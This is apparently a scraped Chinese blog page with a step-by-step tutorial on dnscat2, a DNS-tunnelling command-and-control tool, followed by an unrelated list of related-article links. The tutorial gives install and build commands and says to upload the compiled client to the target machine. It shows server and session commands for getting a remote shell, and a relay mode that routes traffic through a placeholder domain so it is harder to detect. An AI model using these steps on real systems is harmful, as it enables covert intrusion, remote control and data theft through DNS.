当前位置: 首页 > news >正文

DNS隧道

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell

目录

Dnscat2安装

解决bundle instal1特别慢问题

客户端编译(在同一个服务端vps下编译好dnscat,上传目标机搞)

dnscat下载下来上传目标机 

 DNS直连模式

开启服务端

服务端会显示连接的命令,只需带上vps的ip进行执行即可

基本命令使用 

​DNS直连流量展示

DNS中级模式 (带上挂中载的命令,其余和直连一样,不过流量更好混淆)

服务端启动

客户端启动

可能出现的问题

53端口被占用,csdn有相关文章讲述


Dnscat2安装

apt install ruby ruby-dev git make g++ ruby-bundler
gem install bundlergit clone https://gitee.com/yijingsec/dnscat2.git
cd dnscat2/server
bundle install

解决bundle instal1特别慢问题

vim Gemfile   #打开这个配置文件
source 'https://gems.ruby-china.com'  #修改配置

客户端编译(在同一个服务端vps下编译好dnscat,上传目标机搞)

git clone https://gitee.com/yijingsec/dnscat2.git
cd dnscat2/client/
make

dnscat下载下来上传目标机 

 DNS直连模式

开启服务端

ruby ./dnscat2.rb

 服务端会显示连接的命令,只需带上vps的ip进行执行即可

基本命令使用 

获取shell:windows  #相当于msf的sessions
session -i 1
shell
session -i 2
back  #放后台

 DNS直连流量展示

DNS中级模式 (带上挂中载的命令,其余和直连一样,不过流量更好混淆)

服务端启动

ruby ./dnscat2.rb nc1.peiqi.fake.top --secret=crazy  #--secret=crazy密码设置,nc1.peiqi.fake.top挂的中继

客户端启动

dnscat也是和直连模式一样获取的

./dnscat --secret=crazy nc1.peiqi.fake.top

可能出现的问题

53端口被占用,csdn有相关文章讲述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Kafka 和 RabbitMQ对比
  • 我跟ai学web知识点:“短链接”
  • React@16.x(51)路由v5.x(16)- 手动实现文件目录参考
  • ARM/Linux嵌入式面经(十):极氪
  • 静态网页基础知识
  • 19_谷歌GoogLeNet(InceptionV1)深度学习图像分类算法
  • C++初探究
  • Lambda是个什么东西?如何理解和使用?
  • windows USB 设备驱动开发-处理批传输的静态流
  • Fastapi在docekr中进行部署之后,uvicorn占用的CPU非常高
  • android文本长按复制
  • 网络祭祀人物微信小程序模板源码
  • 互联网接入技术的简单介绍
  • Argo怎么使用?
  • 阿里开源语音理解和语音生成大模型FunAudioLLM
  • 【翻译】babel对TC39装饰器草案的实现
  • 002-读书笔记-JavaScript高级程序设计 在HTML中使用JavaScript
  • Angular Elements 及其运作原理
  • Codepen 每日精选(2018-3-25)
  • dva中组件的懒加载
  • SpriteKit 技巧之添加背景图片
  • Storybook 5.0正式发布:有史以来变化最大的版本\n
  • yii2中session跨域名的问题
  • 从重复到重用
  • 对象管理器(defineProperty)学习笔记
  • 聊聊flink的BlobWriter
  • 如何抓住下一波零售风口?看RPA玩转零售自动化
  • 使用阿里云发布分布式网站,开发时候应该注意什么?
  • 我从编程教室毕业
  • 用quicker-worker.js轻松跑一个大数据遍历
  • FaaS 的简单实践
  • gunicorn工作原理
  • Java性能优化之JVM GC(垃圾回收机制)
  • ‌JavaScript 数据类型转换
  • #565. 查找之大编号
  • #NOIP 2014# day.1 T2 联合权值
  • #NOIP 2014# day.1 T3 飞扬的小鸟 bird
  • #每日一题合集#牛客JZ23-JZ33
  • #周末课堂# 【Linux + JVM + Mysql高级性能优化班】(火热报名中~~~)
  • (0)Nginx 功能特性
  • (007)XHTML文档之标题——h1~h6
  • (4) openssl rsa/pkey(查看私钥、从私钥中提取公钥、查看公钥)
  • (C++)八皇后问题
  • (delphi11最新学习资料) Object Pascal 学习笔记---第7章第3节(封装和窗体)
  • (Oracle)SQL优化基础(三):看懂执行计划顺序
  • (TOJ2804)Even? Odd?
  • (附源码)springboot 房产中介系统 毕业设计 312341
  • (附源码)ssm考试题库管理系统 毕业设计 069043
  • (黑客游戏)HackTheGame1.21 过关攻略
  • (转)详解PHP处理密码的几种方式
  • (转载)VS2010/MFC编程入门之三十四(菜单:VS2010菜单资源详解)
  • *2 echo、printf、mkdir命令的应用
  • .cfg\.dat\.mak(持续补充)
  • .Net CoreRabbitMQ消息存储可靠机制
  • .net mvc actionresult 返回字符串_.NET架构师知识普及